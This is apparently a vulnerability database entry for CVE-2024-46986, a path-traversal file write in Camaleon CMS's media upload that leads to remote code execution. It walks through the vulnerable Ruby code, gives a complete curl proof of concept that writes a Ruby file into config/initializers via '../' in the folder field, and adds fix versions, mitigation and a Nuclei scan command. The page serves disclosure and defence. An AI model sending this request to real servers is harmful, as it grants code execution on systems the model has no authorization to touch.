CVE-2024-46986 is a critical-severity (CVSS 9.9) CWE-74 vulnerability in camaleon_cms. 2 public exploit or proof-of-concept references are indexed, so weaponization risk is real. A fix is available for camaleon_cms — see the affected versions and patch details below.
Arbitrary file write leading to RCE in Camaleon CMS
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-46986.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
camaleon_cmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application.
Once a user upload is started via the upload method, the file_upload and the folder parameter
def upload(settings = {})
params[:dimension] = nil if params[:skip_auto_crop].present?
f = { error: 'File not found.' }
if params[:file_upload].present?
f = upload_file(params[:file_upload],
{ folder: params[:folder], dimension: params['dimension'], formats: params[:formats], versions: params[:versions],
thumb_size: params[:thumb_size] }.merge(settings))
end
[..]
end
are passed to the upload_file method. Inside that method the given settings are merged with some presets. The file format is checked against the formats settings we can override with the formats parameters.
# formats validations
return { error: "#{ct('file_format_error')} (#{settings[:formats]})" } unless cama_uploader.class.validate_file_format(
uploaded_io.path, settings[:formats]
)
Our given folder is then passed unchecked to the Cama_uploader:
key = File.join(settings[:folder], settings[:filename]).to_s.cama_fix_slash
res = cama_uploader.add_file(settings[:uploaded_io], key, { same_name: settings[:same_name] })
In the add_file method of CamaleonCmsLocalUploader this key argument containing the unchecked path is then used to write the file to the file system:
def add_file(uploaded_io_or_file_path, key, args = {})
[..]
upload_io = uploaded_io_or_file_path.is_a?(String) ? File.open(uploaded_io_or_file_path) : uploaded_io_or_file_path
File.open(File.join(@root_folder, key), 'wb') { |file| file.write(upload_io.read) }
[..]
end
Proof of concept Precondition: A valid account of a registered user is required. (The values for auth_token and _cms_session need to be replaced with authenticated values in the curl command below)
curl --path-as-is -i -s -k -X $'POST'
-H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga' -H $'Accept: /' -H $'Connection: keep-alive'
-b $'auth_token=[..]; _cms_session=[..]'
--data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name="file_upload"; filename="test.rb"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs "================================="\x0aputs "================================="\x0aputs "= COMPROMISED ="\x0aputs "================================="\x0aputs "================================="\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name="folder"\x0d\x0a\x0d\x0a../../../config/initializers/\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name="skip_auto_crop"\x0d\x0a\x0d\x0atrue\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga--\x0d\x0a'
$'https://<camaleon-host>/admin/media/upload?actions=false'
Note that the upload form field formats was removed so that Camaleon CMS accepts any file. The folder was set to ../../../config/initializers/so that following Ruby script is written into the initializers folder of the Rails web app:
puts "=================================" puts "=================================" puts "= COMPROMISED =" puts "=================================" puts "=================================" Once Camaleon CMS is restarted following output will be visible in the log:
=================================
= COMPROMISED =
================================= Impact This issue may lead up to Remote Code Execution (RCE) via arbitrary file write.
Remediation Normalize file paths constructed from untrusted user input before using them and check that the resulting path is inside the targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths.
See also:
CodeQL: Uncontrolled data used in path expression OWASP: Path Traversal
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | camaleon_cms | ≥ 2.8.0&&< 2.8.1 | 2.8.1bundle update camaleon_cms --conservative |
Affected Products
camaleon cmstuzitioResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for camaleon_cms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update camaleon_cms to 2.8.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-46986 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
How to detect CVE-2024-46986
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id cve-2024-46986 -u https://target- Template
- Camaleon CMS < 2.8.1 Arbitrary File Write to RCE
- Severity
- critical
- Impact
- Authenticated attackers can write arbitrary files to any location on the web server, potentially achieving remote code execution.
- Remediation
- Update Camaleon CMS to version 2.8.1 or later.
Template by ProjectDiscovery nuclei-templates (iamnoooob, rootxharsh, pdresearch), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is CVE-2024-46986 in your dependencies?
Find it across RubyGems, including transitive dependencies.